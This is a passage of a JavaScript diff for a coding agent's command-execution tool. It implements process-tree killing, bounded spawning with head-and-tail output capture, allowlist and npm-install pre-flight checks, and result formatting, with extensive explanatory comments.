+ */
2252
+ if (spec.resolve === 'node-module') {
2253
+ for (const candidate of spec.nodeModule ?? []) {
2254
+ const abs = join(root, ...candidate.split('/'));
2255
+ if (existsSync(abs)) return { ok: true, file: execPath, args: [abs, ...rest] };
2256
+ }
2257
+ return {
2258
+ ok: false,
2259
+ error: `${valid.binary} is not installed in this workspace (looked for ${(spec.nodeModule ?? []).join(', ')}). It is run from node_modules on purpose — a global one would be a program nobody in this repository agreed to.`,
2260
+ };
2261
+ }
2262
+
2263
+ /**
2264
+ * ⚠️ A PRESET BINARY IS FOUND ON `PATH`, AND THAT IS THE HONEST WEAKENING.
2265
+ * `node`, `npm`, `npx` and `tsc` resolve to files we can name; `python` and
2266
+ * `make` cannot. Whoever enabled the preset chose that, which is exactly why
2267
+ * presets are off by default and why the workspace layer can only pick from a
2268
+ * vetted menu. Still `shell: false`, still no metacharacters, still every
2269
+ * operand contained in the workspace.
2270
+ */
2271
+ return { ok: true, file: valid.binary, args: rest };
2272
+ }
2273
+
2274
+ /**
2275
+ * Keep the head AND the tail of a stream.
2276
+ *
2277
+ * ⚠️ NOT `slice(0, n)`, AND THE REASON IS THE WHOLE POINT OF THE LOOP. A test
2278
+ * runner prints the first failure near the top and the summary at the very
2279
+ * bottom; keeping only the head throws away "3 failed", and keeping only the
2280
+ * tail throws away the stack trace that says why. Both ends, gap declared.
2281
+ *
2282
+ * Pure.
2283
+ */
2284
+ export function clampOutput(text, maxChars = MAX_CAPTURED_CHARS) {
2285
+ if (typeof text !== 'string') return { text: '', truncated: false, omitted: 0 };
2286
+ if (text.length <= maxChars) return { text, truncated: false, omitted: 0 };
2287
+ const head = Math.floor(maxChars * 0.35);
2288
+ const tail = maxChars - head;
2289
+ const omitted = text.length - maxChars;
2290
+ return {
2291
+ text: `${text.slice(0, head)}\n\n… ${omitted} characters omitted …\n\n${text.slice(-tail)}`,
2292
+ truncated: true,
2293
+ omitted,
2294
+ };
2295
+ }
2296
+
2297
+ /**
2298
+ * ⚠️⭐ KILL THE TREE, NOT THE PROCESS — AND THE ORPHANS THAT PROVED IT.
2299
+ *
2300
+ * `child.kill('SIGKILL')` reaches exactly one pid. On Windows that is a
2301
+ * `TerminateProcess` against the direct child; on POSIX a single-pid signal.
2302
+ * Neither touches what the command STARTED — and what a coding agent runs is
2303
+ * precisely the kind of thing that starts something: a dev server, a watcher, a
2304
+ * worker pool, or npm, which on Windows runs the script through an intermediate
2305
+ * `cmd.exe` that then runs node.
2306
+ *
2307
+ * Measured, not reasoned about: `npm test` against a script that spawns a child
2308
+ * and never exits left pid 13128 running with its ParentProcessId 19836 already
2309
+ * gone — a true orphan, running until reboot, on the owner's personal laptop.
2310
+ *
2311
+ * So: on Windows, `taskkill /T` walks the child list the OS keeps and kills the
2312
+ * whole tree. On POSIX the child is spawned `detached`, which makes it a PROCESS
2313
+ * GROUP LEADER, and a negative pid signals the entire group.
2314
+ *
2315
+ * ⚠️ A FAILURE TO KILL MUST NEVER THROW. By the time we get here the process is
2316
+ * usually already dead, and "the thing I was going to kill is gone" is the
2317
+ * success case, not an error. Every path is swallowed.
2318
+ */
2319
+ /**
2320
+ * ⚠️ EXPORTED FOR `background.mjs` AND FOR NO OTHER REASON. A second
2321
+ * implementation of this is how the orphan above comes back: the Windows
2322
+ * `taskkill /T` branch and the POSIX negative-pid branch are both non-obvious,
2323
+ * and a background process is the exact shape (a dev server, a watcher) that
2324
+ * proved they were needed.
2325
+ */
2326
+ export function killProcessTree(child) {
2327
+ const pid = child?.pid;
2328
+ if (typeof pid !== 'number' || pid <= 0) {
2329
+ // A stubbed child in a test, or a spawn that never got a pid. Best effort.
2330
+ try { child?.kill?.('SIGKILL'); } catch { /* already gone */ }
2331
+ return;
2332
+ }
2333
+ if (process.platform === 'win32') {
2334
+ try {
2335
+ // ⚠️ The REAL `spawn`, never `spawnImpl` — `spawnImpl` is the injection
2336
+ // point for the command under test, and a test that stubs it is not
2337
+ // asking to stub the reaper.
2338
+ const reaper = spawn('taskkill', ['/T', '/F', '/PID', String(pid)], {
2339
+ windowsHide: true,
2340
+ stdio: 'ignore',
2341
+ shell: false,
2342
+ });
2343
+ // It must not keep the event loop alive, and its own failure is not ours.
2344
+ reaper.on('error', () => { /* taskkill missing or the pid already went */ });
2345
+ if (typeof reaper.unref === 'function') reaper.unref();
2346
+ } catch { /* already gone */ }
2347
+ return;
2348
+ }
2349
+ try {
2350
+ process.kill(-pid, 'SIGKILL');
2351
+ } catch {
2352
+ // Not a group leader (detached was refused, or the platform did something
2353
+ // else) — fall back to the one pid we can definitely name.
2354
+ try { child.kill('SIGKILL'); } catch { /* already gone */ }
2355
+ }
2356
+ }
2357
+
2358
+ /**
2359
+ * Spawn it. Never throws — a failure to start is data, like every other tool
2360
+ * result in this package.
2361
+ *
2362
+ * ── ⚠️⭐ WHY THIS SETTLES ON MORE THAN `close`, AND WHAT IT COST TO LEARN ─────
2363
+ *
2364
+ * `close` is the RIGHT event to settle on, and it stays the normal path: it
2365
+ * fires only once the process has exited AND the captured stdout/stderr pipes
2366
+ * have reached EOF, which is the only moment we can promise the output is
2367
+ * complete. That second condition is also the trap.
2368
+ *
2369
+ * EOF arrives when the LAST holder of the pipe's write end lets go — and a
2370
+ * descendant that inherited those handles is a holder. So when the timeout
2371
+ * killed npm's node, npm's script descendant kept the write handles open, EOF
2372
+ * never came, `close` never fired, and the promise never resolved. Not "resolved
2373
+ * late" — never. Measured four times: `executeRunCommand({command:'npm test',
2374
+ * timeoutMs:4000})` returned nothing after 20,019ms of waiting, and end to end
2375
+ * the real binary printed `── round 1/2 ──` and sat there for 120s+ despite
2376
+ * `--command-timeout 5`. There is no session-level deadline anywhere in this
2377
+ * package, so that is an unbounded hang with no outer bound to catch it: the
2378
+ * documented flag simply did nothing.
2379
+ *
2380
+ * ⚠️ THE ISOLATION CONTROL IS WHY `close` SURVIVED THE FIX: the identical
2381
+ * hanging script run as a DIRECT child, with no descendants, settled correctly
2382
+ * at 4,154ms with signal SIGKILL. The event was never wrong. It was
2383
+ * insufficient — a promise with no path to rejection.
2384
+ *
2385
+ * ⭐ So there are now two more ways out, and both defer to `close` if it comes:
2386
+ * · `exit` — the process is gone, only the pipes are outstanding. Give them a
2387
+ * grace window, then return what we captured with the REAL exit code. This
2388
+ * also bounds the case nobody had noticed: a command that exits 0 while
2389
+ * leaving a daemon behind, which used to burn the entire timeout and then
2390
+ * be reported as a timeout, which was a lie.
2391
+ * · the timeout itself — because if the kill fails, `exit` never comes either.
2392
+ *
2393
+ * `settled` already made `finish` idempotent, so all three racing is safe.
2394
+ */
2395
+ export function spawnBounded({ file, args, cwd, timeoutMs, spawnImpl = spawn, env }) {
2396
+ return new Promise((done) => {
2397
+ const started = Date.now();
2398
+ let child;
2399
+ try {
2400
+ child = spawnImpl(file, args, {
2401
+ cwd,
2402
+ /**
2403
+ * ⚠️ `childEnvironment` RATHER THAN `scrubEnvironment`, and it is given
2404
+ * the argv so it can tell an npm run from everything else — see the
2405
+ * paragraph on that function. A caller that passes its own `env` is
2406
+ * responsible for the same thing; the two that do are named there.
2407
+ */
2408
+ env: env ?? childEnvironment({ file, args }, process.env),
2409
+ // ⚠️ NEVER `true`. Everything above assumes no shell parses this.
2410
+ shell: false,
2411
+ windowsHide: true,
2412
+ stdio: ['ignore', 'pipe', 'pipe'],
2413
+ /**
2414
+ * ⚠️ POSIX ONLY, AND IT IS NOT COSMETIC: `detached` makes the child a
2415
+ * process group leader, which is the ONLY thing that makes
2416
+ * `process.kill(-pid)` able to reach what the command spawned. On
2417
+ * Windows it would ask for a new console instead, which is the opposite
2418
+ * of `windowsHide`, so there `taskkill /T` does the same job.
2419
+ *
2420
+ * The cost, stated: the child no longer shares our process group, so a
2421
+ * Ctrl-C in the terminal no longer reaches it directly. The timeout and
2422
+ * the tree kill are what stop it now, and those are the mechanisms this
2423
+ * tool is supposed to rely on anyway.
2424
+ */
2425
+ ...(process.platform === 'win32' ? {} : { detached: true }),
2426
+ });
2427
+ } catch (err) {
2428
+ return done({ ok: false, error: `could not start the command: ${err instanceof Error ? err.message : String(err)}` });
2429
+ }
2430
+
2431
+ let timedOut = false;
2432
+ let exitCode = null;
2433
+ let exitSignal = null;
2434
+
2435
+ /**
2436
+ * ── ⚠️⚠️ KEEP BOTH ENDS. THE OLD CAP KEPT THE WRONG ONE ─────────────────
2437
+ *
2438
+ * The cap is applied WHILE READING and must stay that way — a build loop
2439
+ * printing a gigabyte cannot be held in memory to be trimmed afterwards.
2440
+ * But it used to be `if (stdout.length < cap) stdout += d`, which keeps the
2441
+ * FIRST 32KB and discards everything after.
2442
+ *
2443
+ * ⭐ EVERY TEST RUNNER PRINTS ITS VERDICT LAST. "5 failed, 212 passed", the
2444
+ * stack traces, the summary. So on any suite louder than 32KB the model was
2445
+ * handed the opening banner, `clampOutput` then took a "tail" of that
2446
+ * already-truncated buffer — the MIDDLE of the real output — and the loop
2447
+ * fixed whatever it could see while never learning the run had failed.
2448
+ * The exit code stayed honest, so it read as "it tried" rather than "it was
2449
+ * shown the wrong evidence", which is why it survived this long.
2450
+ *
2451
+ * ⭐ A HEAD BUFFER AND A TAIL RING, both bounded, so memory is still capped
2452
+ * at roughly what it was — and `produced` counts what the process actually
2453
+ * emitted, because reporting "24,000 characters omitted" for a 5MB run is a
2454
+ * confident falsehood and this package treats silent truncation as the worst
2455
+ * class of bug it can ship.
2456
+ */
2457
+ const cap = MAX_CAPTURED_CHARS * 4;
2458
+ const HALF = Math.floor(cap / 2);
2459
+ const streams = {
2460
+ stdout: { head: '', tail: '', produced: 0 },
2461
+ stderr: { head: '', tail: '', produced: 0 },
2462
+ };
2463
+ const absorb = (s, chunk) => {
2464
+ s.produced += chunk.length;
2465
+ if (s.head.length < HALF) s.head += chunk.slice(0, HALF - s.head.length);
2466
+ // ⚠️ Slice AFTER concatenating, so a chunk larger than HALF still leaves
2467
+ // its own tail behind rather than being dropped whole.
2468
+ s.tail = (s.tail + chunk).slice(-HALF);
2469
+ };
2470
+ /** Head + a truthful marker + the real tail. */
2471
+ const assemble = (s) => {
2472
+ if (s.produced <= s.head.length) return { text: s.head, omitted: 0 };
2473
+ if (s.produced <= cap) {
2474
+ // Everything fits: head and tail together are the whole stream, and the
2475
+ // tail ring already holds the part the head did not.
2476
+ return { text: s.head + s.tail.slice(-(s.produced - s.head.length)), omitted: 0 };
2477
+ }
2478
+ const omitted = s.produced - s.head.length - s.tail.length;
2479
+ return {
2480
+ text: `${s.head}\n\n… ${omitted} characters omitted …\n\n${s.tail}`,
2481
+ omitted,
2482
+ };
2483
+ };
2484
+
2485
+ child.stdout?.setEncoding('utf8');
2486
+ child.stderr?.setEncoding('utf8');
2487
+ child.stdout?.on('data', (d) => absorb(streams.stdout, d));
2488
+ child.stderr?.on('data', (d) => absorb(streams.stderr, d));
2489
+
2490
+ let settled = false;
2491
+ let graceTimer = null;
2492
+ let timer = null;
2493
+
2494
+ const finish = (payload) => {
2495
+ if (settled) return;
2496
+ settled = true;
2497
+ if (timer) clearTimeout(timer);
2498
+ if (graceTimer) clearTimeout(graceTimer);
2499
+ done(payload);
2500
+ };
2501
+
2502
+ /** Return what we actually have. Used by every settle path. */
2503
+ const finishWithCaptured = () => {
2504
+ /**
2505
+ * ⚠️ `assemble` ALREADY BOUNDED THIS, and its marker already states the
2506
+ * true loss. `clampOutput` runs second and trims further for the model's
2507
+ * context — but its own `omitted` is computed against the string it was
2508
+ * handed, so it can only ever describe ITS cut, never the stream's. The
2509
+ * honest total is carried separately in `stdoutOmitted`/`stderrOmitted`.
2510
+ */
2511
+ const outRaw = assemble(streams.stdout);
2512
+ const errRaw = assemble(streams.stderr);
2513
+ const out = clampOutput(outRaw.text);
2514
+ const errText = clampOutput(errRaw.text);
2515
+ finish({
2516
+ ok: true,
2517
+ exitCode,
2518
+ signal: exitSignal,
2519
+ timedOut,
2520
+ durationMs: Date.now() - started,
2521
+ stdout: out.text,
2522
+ stderr: errText.text,
2523
+ truncated: out.truncated || errText.truncated || outRaw.omitted > 0 || errRaw.omitted > 0,
2524
+ /** What the PROCESS produced but nobody will ever see. Additive fields. */
2525
+ stdoutOmitted: outRaw.omitted + out.omitted,
2526
+ stderrOmitted: errRaw.omitted + errText.omitted,
2527
+ stdoutProduced: streams.stdout.produced,
2528
+ stderrProduced: streams.stderr.produced,
2529
+ });
2530
+ };
2531
+
2532
+ /**
2533
+ * Give `close` its grace window, then stop waiting for it.
2534
+ *
2535
+ * ⚠️ AND LET GO OF THE PIPES ON THE WAY OUT. If a descendant really did
2536
+ * survive the tree kill, those read streams stay ACTIVE HANDLES — the tool
2537
+ * call would return while the CLI process itself could no longer exit,
2538
+ * turning a hung tool call into a hung program. Abandoning a stream we have
2539
+ * already decided to stop reading costs nothing.
2540
+ */
2541
+ const armGrace = () => {
2542
+ if (settled || graceTimer) return;
2543
+ graceTimer = setTimeout(() => {
2544
+ try { child.stdout?.destroy(); } catch { /* already closed */ }
2545
+ try { child.stderr?.destroy(); } catch { /* already closed */ }
2546
+ try { child.unref?.(); } catch { /* not a real child */ }
2547
+ finishWithCaptured();
2548
+ }, TIMEOUT_SETTLE_GRACE_MS);
2549
+ if (typeof graceTimer.unref === 'function') graceTimer.unref();
2550
+ };
2551
+
2552
+ timer = setTimeout(() => {
2553
+ timedOut = true;
2554
+ // SIGKILL rather than SIGTERM: the thing being killed is a process that
2555
+ // already ignored its chance to exit, and on Windows SIGTERM is advisory.
2556
+ if (exitSignal === null) exitSignal = 'SIGKILL';
2557
+ killProcessTree(child);
2558
+ // ⚠️ Armed HERE as well as on `exit`, because a kill that does not land
2559
+ // produces no `exit` either — and that combination is exactly the hang.
2560
+ armGrace();
2561
+ }, timeoutMs);
2562
+ if (typeof timer.unref === 'function') timer.unref();
2563
+
2564
+ child.on('error', (err) => {
2565
+ finish({ ok: false, error: `the command could not run: ${err instanceof Error ? err.message : String(err)}` });
2566
+ });
2567
+ child.on('exit', (code, signal) => {
2568
+ if (typeof code === 'number') exitCode = code;
2569
+ if (signal) exitSignal = signal;
2570
+ // The process is gone; only the pipes are outstanding. `close` normally
2571
+ // wins this race by microseconds and clears the timer.
2572
+ armGrace();
2573
+ });
2574
+ child.on('close', (code, signal) => {
2575
+ if (typeof code === 'number') exitCode = code;
2576
+ if (signal) exitSignal = signal;
2577
+ finishWithCaptured();
2578
+ });
2579
+ });
2580
+ }
2581
+
2582
+ /**
2583
+ * The tool entry point: a model-supplied string in, a result the model can act
2584
+ * on out. Every refusal path returns before anything is spawned.
2585
+ *
2586
+ * @param {{ command: unknown, executor: any, timeoutMs?: number, spawnImpl?: Function }} args
2587
+ */
2588
+ export async function executeRunCommand({ command, executor, timeoutMs = DEFAULT_COMMAND_TIMEOUT_MS, spawnImpl = spawn, shell = false }) {
2589
+ /**
2590
+ * ⚠️ A DRY RUN THAT RUNS THE TEST SUITE IS NOT A DRY RUN. `--dry-run` promises
2591
+ * the disk is untouched; a command is free to touch it, so the promise can
2592
+ * only be kept by refusing here.
2593
+ */
2594
+ if (executor.dryRun) {
2595
+ return { ok: false, error: 'this is a --dry-run, so no command is executed (a command could write to disk, which a dry run promises not to do)' };
2596
+ }
2597
+
2598
+ /**
2599
+ * ⭐ THE ALLOWLIST IS RESOLVED PER CALL, FROM THE WORKSPACE AND THE
2600
+ * ENVIRONMENT — read through the EXECUTOR, so `.acuvo/commands.json` gets the
2601
+ * same path rules, the same size cap and the same refusals as every other
2602
+ * file this agent touches. No second reader, no second set of rules.
2603
+ *
2604
+ * ⚠️ ABSENT IS NOT MALFORMED, and the two must not be conflated: no file at
2605
+ * all is the overwhelmingly common case and means "the default four". A file
2606
+ * that exists and cannot be parsed is a broken control, and it stops the
2607
+ * command rather than quietly reverting to the default — which is `policy.mjs`
2608
+ * fail-closed reasoning, applied to the other half of the same `.acuvo/`
2609
+ * directory.
2610
+ */
2611
+ /**
2612
+ * ── ⚠️ THE SHELL BRANCH — EVERYTHING BELOW IT IS THE ALLOWLIST ────────────
2613
+ *
2614
+ * It returns early ON PURPOSE, rather than threading `shell` through
2615
+ * `validateCommand`. A validator that sometimes validates is the shape that
2616
+ * produces a "safe" mode which quietly is not: one wrong branch and a caller
2617
+ * who never asked for the shell gets it. Two paths that share nothing cannot
2618
+ * leak into each other, and the ONE place that chooses between them is a
2619
+ * single boolean the operator typed.
2620
+ */
2621
+ if (shell) {
2622
+ const invocation = buildShellInvocation(command);
2623
+ if (!invocation.ok) return { ok: false, error: invocation.error };
2624
+ const bounded = Math.min(Math.max(1_000, timeoutMs), MAX_COMMAND_TIMEOUT_MS);
2625
+ const run = await spawnBounded({
2626
+ file: invocation.file,
2627
+ args: invocation.args,
2628
+ cwd: executor.root,
2629
+ timeoutMs: bounded,
2630
+ spawnImpl,
2631
+ });
2632
+ if (!run.ok) return run;
2633
+ return {
2634
+ ok: true,
2635
+ command: String(command).trim(),
2636
+ argv: [invocation.file, ...invocation.args],
2637
+ scriptChain: null,
2638
+ // ⭐ Flagged on the RESULT, so the audit log and the report can say a
2639
+ // shell ran this without having to re-derive it from the argv.
2640
+ viaShell: true,
2641
+ exitCode: run.exitCode,
2642
+ signal: run.signal,
2643
+ timedOut: run.timedOut,
2644
+ durationMs: run.durationMs,
2645
+ stdout: run.stdout,
2646
+ stderr: run.stderr,
2647
+ truncated: run.truncated,
2648
+ passed: run.exitCode === 0 && !run.timedOut,
2649
+ };
2650
+ }
2651
+
2652
+ const configRead = executor.readFile(COMMANDS_CONFIG_FILE);
2653
+ let configText = null;
2654
+ if (configRead.ok) {
2655
+ configText = configRead.content;
2656
+ } else if (!/^no such file/i.test(String(configRead.error ?? ''))) {
2657
+ return { ok: false, error: `${COMMANDS_CONFIG_FILE} exists but could not be read: ${configRead.error}` };
2658
+ }
2659
+ const resolved = resolveCommandAllowlist({ configText, envValue: process.env[ALLOW_COMMANDS_ENV] });
2660
+ if (!resolved.ok) return { ok: false, error: `the command allowlist could not be loaded: ${resolved.error}` };
2661
+
2662
+ /**
2663
+ * ⚠️ THE ENVIRONMENT IS READ EXACTLY ONCE, HERE, AND NOWHERE DEEPER.
2664
+ * `validateCommand` stays pure; the only code that can turn `npm install` on
2665
+ * is the code that already reads `process.env` for the allowlist. Same door,
2666
+ * same audit story.
2667
+ */
2668
+ const allowInstall = installEnabled(process.env);
2669
+ const valid = validateCommand(command, { allowlist: resolved.allowlist, allowInstall });
2670
+ if (!valid.ok) return valid;
2671
+
2672
+ // The npm script body gate — read through the EXECUTOR so the same path
2673
+ // rules apply, and so a workspace with no package.json says so clearly.
2674
+ let scriptChain = null;
2675
+ if (valid.binary === 'npm' && valid.npmScript) {
2676
+ const pkgRead = executor.readFile('package.json');
2677
+ if (!pkgRead.ok) return { ok: false, error: `cannot run npm here: ${pkgRead.error}` };
2678
+ const chain = validateNpmScriptChain(valid.npmScript, pkgRead.content);
2679
+ if (!chain.ok) return { ok: false, error: chain.error };
2680
+ scriptChain = chain.chain;
2681
+ }
2682
+
2683
+ /**
2684
+ * ── ⚠️ THE INSTALL PRE-FLIGHT: TWO FILES INSIDE THE WORKSPACE ─────────────
2685
+ *
2686
+ * Both are files THIS AGENT CAN WRITE, which is the only reason they are
2687
+ * checked at all.
2688
+ *
2689
+ * · `package.json` must already exist. Without it npm invents a nameless
2690
+ * project and installs into it, so the dependency the human is supposed to
2691
+ * review lands somewhere nobody is looking.
2692
+ * · `.npmrc` must not redirect the registry or re-enable install scripts.
2693
+ * See `inspectNpmrcForInstall` — this is the `package.json` scripts
2694
+ * bypass arriving through a different file.
2695
+ */
2696
+ if (valid.binary === 'npm' && valid.npmInstall) {
2697
+ const pkgRead = executor.readFile('package.json');
2698
+ if (!pkgRead.ok) {
2699
+ return { ok: false, error: `cannot run npm ${valid.npmInstall.sub} here: ${pkgRead.error}. Write a package.json first — an install into a directory with no manifest records the dependency nowhere.` };
2700
+ }
2701
+ try {
2702
+ JSON.parse(pkgRead.content);
2703
+ } catch (err) {
2704
+ return { ok: false, error: `package.json is not valid JSON, so npm would rewrite it from nothing: ${err instanceof Error ? err.message : String(err)}` };
2705
+ }
2706
+ /**
2707
+ * ⚠️ THE MANIFEST NAMES PACKAGES NO OPERAND EVER MENTIONED. A bare
2708
+ * `npm install` has an empty package list, so every operand check above
2709
+ * passed on a command with nothing to check while npm read this file.
2710
+ */
2711
+ const manifest = inspectManifestForInstall(pkgRead.content);
2712
+ if (!manifest.ok) return { ok: false, error: manifest.error };
2713
+ const lockRead = executor.readFile('package-lock.json');
2714
+ if (lockRead.ok) {
2715
+ const lock = inspectLockfileForInstall(lockRead.content);
2716
+ if (!lock.ok) return { ok: false, error: lock.error };
2717
+ } else if (!/^no such file/i.test(String(lockRead.error ?? ''))) {
2718
+ return { ok: false, error: `package-lock.json exists but could not be read, so this install cannot be checked: ${lockRead.error}` };
2719
+ }
2720
+ const rcRead = executor.readFile('.npmrc');
2721
+ if (rcRead.ok) {
2722
+ const rc = inspectNpmrcForInstall(rcRead.content);
2723
+ if (!rc.ok) return { ok: false, error: rc.error };
2724
+ } else if (!/^no such file/i.test(String(rcRead.error ?? ''))) {
2725
+ return { ok: false, error: `.npmrc exists but could not be read, so this install cannot be checked: ${rcRead.error}` };
2726
+ }
2727
+ }
2728
+
2729
+ const invocation = buildInvocation(valid, executor.root);
2730
+ if (!invocation.ok) return { ok: false, error: invocation.error };
2731
+
2732
+ // ⚠️ An install gets a FLOOR, not the caller's number — see INSTALL_MIN_TIMEOUT_MS.
2733
+ const floor = valid.npmInstall ? INSTALL_MIN_TIMEOUT_MS : 1_000;
2734
+ const bounded = Math.min(Math.max(floor, timeoutMs), MAX_COMMAND_TIMEOUT_MS);
2735
+ const run = await spawnBounded({
2736
+ file: invocation.file,
2737
+ args: invocation.args,
2738
+ cwd: executor.root,
2739
+ timeoutMs: bounded,
2740
+ spawnImpl,
2741
+ });
2742
+ if (!run.ok) return run;
2743
+
2744
+ /**
2745
+ * ── ⭐ THE RECEIPT: WHAT LANDED IN `package.json`, RE-READ FROM DISK ───────
2746
+ *
2747
+ * "The lockfile and package.json get modified under the user" is the honest
2748
+ * complaint about `npm install`, and the answer is not to suppress the
2749
+ * modification (`--no-save` is refused above — an unrecorded install is worse)
2750
+ * but to STATE it. So after the run, package.json is read again and the exact
2751
+ * range npm wrote for each requested name is reported.
2752
+ *
2753
+ * ⚠️ IT IS READ AFTER, NOT PREDICTED BEFORE. `npm install zod` writes
2754
+ * `^4.1.12` or whatever the registry served today; a receipt that repeated
2755
+ * what was ASKED FOR would be a receipt for a fact nobody checked. `git_diff`
2756
+ * shows the lockfile churn, which is the other half and already has a tool.
2757
+ */
2758
+ let installed = null;
2759
+ if (valid.npmInstall && run.exitCode === 0 && !run.timedOut) {
2760
+ installed = readInstalledRanges(executor, valid.npmInstall.packages);
2761
+ }
2762
+
2763
+ return {
2764
+ ok: true,
2765
+ command: valid.command,
2766
+ argv: [invocation.file, ...invocation.args],
2767
+ scriptChain,
2768
+ installed,
2769
+ exitCode: run.exitCode,
2770
+ signal: run.signal,
2771
+ timedOut: run.timedOut,
2772
+ durationMs: run.durationMs,
2773
+ stdout: run.stdout,
2774
+ stderr: run.stderr,
2775
+ truncated: run.truncated,
2776
+ // ⚠️ `ok: true` MEANS THE COMMAND RAN, NOT THAT IT PASSED. Those are
2777
+ // different facts and conflating them is exactly how a loop ends up
2778
+ // reporting success on a failing test. `passed` is the second fact.
2779
+ passed: run.exitCode === 0 && !run.timedOut,
2780
+ };
2781
+ }
2782
+
2783
+ /**
2784
+ * Read back the range npm actually wrote for each requested package.
2785
+ *
2786
+ * ⚠️ A package that was requested and is NOT in package.json afterwards is
2787
+ * reported as `null` rather than omitted. npm exits 0 on plenty of partial
2788
+ * outcomes, and a receipt that silently drops the line it could not confirm is
2789
+ * the "green run, nothing happened" failure this package keeps finding.
2790
+ */
2791
+ function readInstalledRanges(executor, packages) {
2792
+ if (!packages.length) return [];
2793
+ const read = executor.readFile('package.json');
2794
+ if (!read.ok) return packages.map((p) => ({ name: p.name, range: null, section: null }));
2795
+ let pkg;
2796
+ try {
2797
+ pkg = JSON.parse(read.content);
2798
+ } catch {
2799
+ return packages.map((p) => ({ name: p.name, range: null, section: null }));
2800
+ }
2801
+ const sections = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'];
2802
+ return packages.map((p) => {
2803
+ for (const section of sections) {
2804
+ const block = pkg?.[section];
2805
+ if (block && typeof block === 'object' && typeof block[p.name] === 'string') {
2806
+ return { name: p.name, range: block[p.name], section };
2807
+ }
2808
+ }
2809
+ return { name: p.name, range: null, section: null };
2810
+ });
2811
+ }
2812
+
2813
+ /**
2814
+ * Render a finished run for the MODEL. Compact, unambiguous, and leading with
2815
+ * the exit code — the one number the next round has to react to.
2816
+ *
2817
+ * Pure.
2818
+ */
2819
+ export function formatRunForModel(result) {
2820
+ if (!result.ok) return `command refused: ${result.error}`;
2821
+ const lines = [`$ ${result.command}`];
2822
+ if (Array.isArray(result.installed)) {
2823
+ /**
2824
+ * ⭐ THE MODEL IS TOLD `--ignore-scripts` WAS FORCED, EVERY TIME. Without
2825
+ * this line, a package whose postinstall downloads its binary (`esbuild`,
2826
+ * `sharp`, `puppeteer`) installs "successfully" and then fails at require
2827
+ * time with an error that looks like a bug in the agent's own code. Naming
2828
+ * the cause up front turns a confusing loop into one sentence the agent can
2829
+ * pass to the human.
2830
+ */
2831
+ for (const item of result.installed) {
2832
+ lines.push(item.range
2833
+ ? ` recorded in package.json: "${item.name}": "${item.range}" (${item.section})`
2834
+ : ` ⚠️ "${item.name}" is NOT in package.json after this install — nothing was recorded`);
2835
+ }
2836
+ lines.push(' (installed with --ignore-scripts forced: no lifecycle script from any package ran. A package that builds a native addon or downloads a binary at install time will need a human to install it.)');
2837
+ }
2838
+ if (result.timedOut) {
2839
+ lines.push(`TIMED OUT after ${Math.round(result.durationMs / 1000)}s and was killed. It produced no exit code.`);
2840
+ } else {
2841
+ lines.push(`exit code: ${result.exitCode} (${(result.durationMs / 1000).toFixed(1)}s)${result.passed ? ' — PASSED' : ' — FAILED'}`);
2842
+ }
2843
+ if (result.stdout.trim()) lines.push('--- stdout ---', result.stdout.trimEnd());
2844
+ if (result.stderr.trim()) lines.push('--- stderr ---', result.stderr.trimEnd());
2845
+ if (!result.stdout.trim() && !result.stderr.trim()) lines.push('(no output)');
2846
+ return lines.join('\n');
2847
+ }